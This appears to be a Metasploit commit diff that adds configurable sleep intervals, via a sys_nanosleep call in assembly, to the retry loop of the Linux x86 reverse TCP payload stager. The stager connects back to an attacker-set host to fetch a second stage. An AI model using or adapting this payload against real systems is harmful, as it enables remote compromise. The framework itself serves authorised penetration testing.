add sleepSeconds, sleepNanoseconds option

lib/msf/core/payload/linux/reverse_tcp.rb

@@ -29,6 +29,8 @@ module Payload::Linux::ReverseTcp
       port:        datastore['LPORT'],
       host:        datastore['LHOST'],
       retry_count: datastore['ReverseConnectRetries'],
+      sleep_seconds:  datastore['SleepSeconds'],
+      sleep_nanoseconds:  datastore['SleepNanoseconds'],
       reliable:    false
     }
 
@@ -85,10 +87,12 @@ module Payload::Linux::ReverseTcp
   #
   def asm_reverse_tcp(opts={})
     # TODO: reliability is coming
-    retry_count  = [opts[:retry_count].to_i, 1].max
+    retry_count  = opts[:retry_count]
     reliable     = opts[:reliable]
-    encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
+    encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first
     encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
+    sleep_seconds = (opts[:sleep_seconds] || 5).to_i
+    sleep_nanoseconds = (opts[:sleep_nanoseconds] || 0).to_i
 
     asm = %Q^
         push #{retry_count}        ; retry counter
@@ -124,6 +128,13 @@ module Payload::Linux::ReverseTcp
         jns mprotect
 
       handle_failure:
+        push 0xa2
+        pop eax
+        push #{sleep_nanoseconds}
+        push #{sleep_seconds}
+        mov ebx, esp
+        xor ecx, ecx
+        int 0x80                   ; sys_nanosleep
         dec esi
         jnz create_socket
         jmp failed